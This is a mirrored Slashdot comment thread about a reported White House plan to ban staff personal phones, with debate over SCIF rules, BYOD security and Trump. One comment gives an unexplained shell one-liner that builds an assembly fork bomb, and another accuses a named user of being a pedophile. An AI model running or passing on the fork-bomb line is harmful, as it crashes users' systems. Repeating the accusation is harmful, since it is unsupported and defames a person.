Slashdot Mirror
White House Weighs Personal Mobile Phone Ban For Staff (bloomberg.com)
The White House is considering banning its employees from using personal mobile phones while at work. While President Trump has been vocal about press leaks since taking office, one official said the potential change is driven by cybersecurity concerns. Bloomberg reports: One official said that there are too many devices connected to the campus wireless network and that personal phones aren't as secure as those issued by the federal government. White House Chief of Staff John Kelly -- whose personal phone was found to be compromised by hackers earlier this year -- is leading the push for a ban, another official said. The White House already takes precautions with personal wireless devices, including by requiring officials to leave phones in cubbies outside of meeting rooms where sensitive or classified information is discussed. Top officials haven't yet decided whether or when to impose the ban, and if it would apply to all staff in the executive office of the president. While some lower-level officials support a ban, others worry it could result in a series of disruptive unintended consequences.
You're not allowed to bring your phone into a SCIF. Why in the hell should you be allowed to bring your personal device into the damn White House? Make the Executive Office of the President follow those same rules too.
Rather than banning phones how about mandating an official Trump admin phone, like the Dethklok's Dethphone
http://dethklok.wikia.com/wiki...
It'd be pretty brütal
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
how about a ban on tweeting while at work!?
"The White House already takes precautions with personal wireless devices, including by requiring officials to leave phones in cubbies outside of meeting rooms where sensitive or classified information is discussed."
A year in, they're finally following the most basic rules for handling classified information. Next year they can tackle blurting out source level hum-int to top level officials of hostile foreign governments. Maybe by the end of the term we'll get a complete coherent sentence...you know...million monkeys on typewriters style.
This is why the USA needs to legalize Cell Phone Jammers.
There is no reason you can't black out an area like a prison.
My understanding is that many of the WH workers all the way to the top use private e-mail and are probably handling classified documents that way. Just like in the GWB days when the RNC provided the e-mail servers.
Of course I'm not saying there is anything wrong with that. After all there is no Clinton involved in it so who cares. I am just pointing out that if you are concerned about leaks personal e-mail has to be at least as big a threat any personal phones.
It is written so in the Quran.
LOL like what? Maybe getting some effing work done?
What's ironic about that? Using an "unsecured" phone to broadcast a message on social media? Jesus fucking Christ! That's a breach of national security!!!!1111!!!
You wouldn't have gotten shit modded up if it weren't for the hatred of Trump. Your post is stupid on its face and everyone knows it. Probably yourself included...
If anyone's going to hate this, it's going to be Trump himself.
What's ironic about that? Using an "unsecured" phone to broadcast a message on social media? Jesus fucking Christ! That's a breach of national security!!!!1111!!!
So you don't see a problem with the President of the United States using an unsecured phone for his phone conversations in addition to that the unsecured phone being open to being hacked to that hackers can do things like turning on the microphone and camera and location services? No problem with that at all?
You wouldn't have gotten shit modded up if it weren't for the hatred of Trump. Your post is stupid on its face and everyone knows it. Probably yourself included...
And if Obama used the same phone, would you have called out for his execution. My memory says that Obama went through security agencies to get his phone vetted and approved but that's just a President taking things like national security seriously.
Well, there's spam egg sausage and spam, that's not got much spam in it.
What idiot would let staff connect their BYOD's to a corporate network. Utterly clueless fucks. Isolate them on a guest system, and limit their access to port 80/443 that's it, done. Anyone complains, tell them to fuck off.
It is written so in the Alabama bible.
You are welcome on my lawn.
Like what? You'll get seperation anxiety because you can't check Facebook or Twitter every 5 minutes? Pretty sure society is going to continue moving forward and you're just going to have to figure out how not to be tethered to your smart device 24/7. The only consequences I could see stemming from this is people would have to act like high-school kids hiding their phones from their teachers, which places them into a category of "irresponsible" because they can't be hacked to set the phone down. Seems less like a consequence and more like a "Now you have to focus on the job and you can't pretend like your 4 hour Twitter binge was actually work related"
> Total bans encourage workarounds and workarounds yield security breaches every single time.
That's certainly very true. Neither of us said people SHOULD engage in workarounds, but they DO. The more that a security measure is a PITA, the more people don't follow it. Right or wrong. Especially powerful people who are accustomed to being able to do what they want, generally - they aren't accustomed to being treated like children. In business, CEOs break security protocols more than anyone else because they are accustomed to making their own rules.
We all remember the results of the State Department email system being "inconvenient" (assuming you believe setting and a separate private mail server was really for convenience, and not for "heck no I don't write anything down! It could be subpoenaed!" (yes she actually said that).
On the other hand, you obviously want strong security measures inside the White House. I'm not sure there is a good solution that will actually work well. The best I can come up with is requiring all relevant White House staff to have two government-issued phones, one for work, one for personal, both secured. You can say "they just have to follow all the security best-practices", but saying that doesn't make it happen.
Nothing is stopping any of the WhiteHouse staff from leaking things while at home, on the bus, etc. And this ban doesn't cover their computer at the office. They can probably access any social network, send emailed documents to whoever with that. Or they could just meet in person with a reporter if they want it to be harder to trace.
The only thing this ban might prevent is photos or video recordings of classified material in a classified meeting. It can't stop a person from talking about it later though.
Usually that kind of good idea is impossible to enforce on leaders. I wonder if the ban will be enforced for Trump himself.
Sister Mary Elephant https://www.youtube.com/watch?...
the ethics rules already on the books.
"Aw c'mon Chief Kelly."
"No Mr President, I don't care if Twitter is waiting, you can't have your phone back until you've done your homework and that means reading both pages and answering the questions. "
I'm still trying to understand that secret service scandal conservatives were so upset about during Obama's term. Something like Obama hated America so much that he tried to let someone breach the whitehouse to kill the president who happened to be himself?
No Obama was a secret Muslim who set up the country for the Islamist extremists to take over by killing him and replacing him with Biden who is so much darker than him. Aw, come'on. It's so obvious.
Well, there's spam egg sausage and spam, that's not got much spam in it.
The cone of silence.
Reason 1:
https://www.krackattacks.com/
Reason 2:
https://www.armis.com/blueborn...
Those are two fairly major vulnerabilities that worked at a wireless level. Some vendors got it fixed fairly quickly, a lot did not (especially Android vendors). I love my Android phone feature-wise, but the platform is completely fuckadoo in terms of updates, and various models often have lingering security issues or even ones that get completely abandoned/unpatched, making them not just a risk to the owner but possibly nearby devices or infrastructure.
Realistically Android needs better central control, and much as I'm loath to give Google more control, I believe they should take more ownership of the base OS and patching, allowing for core updates to come from *them* as part of the platform rather than waiting on the vendors to implement their fixes. Make it like more like a Linux OS where they own the kernel and core, and vendors can add their stuff as packages and/or submit any special drivers back to Google for inclusion/patching.
The problem with that is this isn't the 1990s. People have lives and those lives involve connectivity.
I'd say go watch the AMC series Rubicon, which, from what I've heard, accurately depicts how an organization-sized SCIF operates, but you can't watch it anywhere.
It's simple. If you want a job that deals with a lot of sensitive material, you're going to have to give up somethings. Like being able to tell your spouse, or children, or friends what you did at work that day. Or having a phone all the time (if someone needs to get a hold of you, they call the front desk, the front desk pages you and you leave the SCIF to talk to them.) Or having access to a computer. If you can't deal with that then it's the wrong career for you.
Anonymous Cashews is a sockpuppet of previously banned user creimer. Who now also posts as cdreimer. You can help by reporting his posts to management
feedback@slashdot.org
I've made a copy here so you can see. It's actually worse than I'd have expected him to say.
http://archive.is/Bfzo1
Look at how hard he tries to justify the marriage of a 16 year old mexican girl to a 50 year old american. He explains over and over that we're overreacting and that he's not a pedo. But all he does is reveal that he's probably a bigger pedo than we thought and he doesn't even think there is anything wrong with it.
Go away creimer!
Banning personal devices based upon national security? When the Big Giant Orange Head is telling the heads of unfriendly nations the national secrets, for free?
Banning personal devices to stop the leaks? When the reason for the leaks are the policies, words and actions of the Big Giant Orange Head?
The Big Giant Orange Head is the national security problem, far more so than any BYOD policy.
HAHAHAHAHAHA... aaaaah... hahahahahahahahahahahaaaaaaaaaaaa!